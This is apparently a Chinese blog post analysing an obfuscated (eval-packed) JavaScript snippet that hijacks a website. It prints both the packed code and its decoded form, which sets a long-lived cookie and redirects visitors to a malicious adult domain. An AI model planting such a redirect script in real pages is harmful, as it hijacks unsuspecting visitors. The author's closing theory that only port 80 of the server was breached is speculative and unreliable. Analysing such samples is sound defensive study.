js-eval-encode-study

 · 2020-5-16 · 次阅读


虽然我没学过JS,但其代码还是很好读懂的。但最近在查阅一些网站时候发现eval(function(p,a,c,k,e,r)){}的形式
因而我怀疑这是对JS代码的加密方法,果不其然搜到了解码方法。原来的JS是这样的:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('0 a="f://k.j.i/?n=4&m=4";0 b="f://k.j.i/?n=4&m=4";0 c=\'y\';0 A=[a,b];g q(5){0 6,l=e z("(^| )"+5+"=([^;]*)(;|$)");8(6=s.r.t(l))h u(6[2]);7 h I}g p(5,o){0 d=J;0 3=e C();3.H(3.D()+d*E*9*9*B);s.r=5+"="+F(o)+";G="+3.v()}0 1=q(c);8(!1){1=a}7{8(a==1){1=b}7{1=a}}p(c,1);w.x=1;',46,46,'var|url||exp|VQ920F|name|arr|else|if|60|||||new|https|function|return|com|xayxhzfu|a1|reg|channelCode|inviteCode|value|setCookie|getCookie|cookie|document|match|unescape|toGMTString|location|href|baidu_push_system_2200|RegExp|items|1000|Date|getTime|24|escape|expires|setTime|null|365'.split('|'),0,{}))

这是不是根本看不明白。解码后是下面这个样子:
解码网站:js-eval-encode

var a = "https://a1.xayxhzfu.com/?inviteCode=VQ920F&channelCode=VQ920F"; //不要访问,可能存在页面病毒(有害身心健康)
var b = "https://a1.xayxhzfu.com/?inviteCode=VQ920F&channelCode=VQ920F"; //不要访问,可能存在页面病毒(有害身心健康)
var c = 'baidu_push_system_2200';
var items = [a, b];
function getCookie(name) {
    var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
    if (arr = document.cookie.match(reg)) return unescape(arr[2]);
    else return null
}
function setCookie(name, value) {
    var d = 365;
    var exp = new Date();
    exp.setTime(exp.getTime() + d * 24 * 60 * 60 * 1000);
    document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}
var url = getCookie(c);
if (!url) {
    url = a
} else {
    if (a == url) {
        url = b
    } else {
        url = a
    }
}
setCookie(c, url);
location.href = url;

先说一下我看到的效果,本来是在公众号看到一个爬虫,爬取了一个mm图(你懂得)的网站,结果,我一访问就给我跳转到一个未成年人进制进入的网站了。因而我在Url中加入了view-source:mm图网址 就看到了使用这种加密方式。现在读一下该JS代码。

首先定义三个变量a,b都是用来跳转的网址是相同的c是跳转的参数name,var c在cookie字段中存在。然后就是通过正则得到cookie并且设置cookie了。
setCookie中都是在设置时间,exp.toGMTstring是根据格林威治时间把exp转换为一个字符串。
其实看前面几个函数就明白了了,就是把c加入到cookie中作为cookie的参数。然后下面的if,else把a或b的内容作为cookie-c的值。
看一下这个判断

var url = getCookie(c);
if (!url) {
    url = a
} else {
    if (a == url) {
        url = b
    } else {
        url = a
    }
}

这里又涉及到getcookie的返回值了,正则不是很明白,百度找到了一个回答

代码原本是这样的吧:百new RegExp("(^| )"+name+"=([^;]*)(;|$)"), name前后有+
"(^| )" 这个度匹配开头和空格

cookie的保存方式知:道name=value,有多个cookie时用分号空格隔开:
cookieaa=aaaa; cookiebb=bbbb

如果name值为回cookieaa,完整的正则答为(^| )cookieaa=([^;]*)(;|$)
匹配结果:cookieaa=aaaa; 

意思就是改正则是用来分割cookie中的不同参数的。应当是为了正确获取到他自己定义的baidu_push_system_2200参数。
这里很奇怪就是这个if else,两个内容完全相同,为什么还需要这样赋值。
猜测可能是为了做failover的感觉。故障切换,如果其中cookie出问题了的话,a用不了,还能赋值b。
最后就是

setCookie(c, url);
location.href = url;

设置好cookie,然后直接跳转了。感觉这个mm图网站要么和这个是一家的,要么就是沦陷了,要么就是被JS劫持了。

什么是JS劫持?
在网上找到一张图显示这个攻击过程
JS劫持

图中的序号表示是JS黑技术的实现顺序。

我们这里也一样。MM图有可能是正常网站,是受信任的但其存在漏洞,因而被恶意网站的管理员所利用。
然后

当我,也就是受害者通过访问MM图,就直接给我跳转到恶意网站去了。这个时候信任网站已经没法进入了。
上面可以看到就是用JS脚本的方式进行跳转的。
不过好在我们在MM图网站上没有登录信息等,因为压根没见到什么样子,不然所有的信息都被发送到恶意网站上去了。

这里我发现了一个点,那就是我访问的网站是http://此处域名相同.而真实的受信任网站是https://此处域名相同。
仅仅是是否利用ssl传输的问题就导致了两个访问的效果截然不同,因而我们在查阅一些网站是否安全,第一步可以看是否是https网站。

很多加了ssl传输的网站在访问http时候会自动跳转到https。http与Https的网站内容是不同配置的,因为他们开放的端口分别是80,和443.
所以猜测该域名的服务器的80端口被攻破了,但443是没有问题的。